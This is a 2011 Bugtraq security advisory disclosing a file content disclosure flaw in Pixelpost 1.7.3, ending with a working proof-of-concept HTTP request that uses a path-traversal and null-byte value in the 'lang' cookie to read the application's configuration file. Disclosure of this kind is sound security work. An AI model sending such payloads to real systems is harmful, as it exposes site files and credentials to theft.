bugtraq - HTB22791: File Content Disclosure in Pixelpost

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Message-Id: <201101250859.p0P8xfDC083010@htbridge.ch>
Date: Tue, 25 Jan 2011 09:59:41 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22791: File Content Disclosure in Pixelpost

Vulnerability ID: HTB22791
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_pixelpost.html
Product: Pixelpost
Vendor: Pixelpost ( http://www.pixelpost.org/ ) 
Vulnerable Version: 1.7.3
Vendor Notification: 11 January 2011 
Vulnerability Type: File Content Disclosure
Status: Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "lang" variable from cookie when register_globals is on.
Successful exploitation of this vulnerability allows remote attacker to obtain content of arbitrary file accessible within the context of vulnerable application.

The following PoC is available:

GET /index.php?popup=comment&language_full=english HTTP/1.1
Cookie: lang=/../../../includes/pixelpost.php%00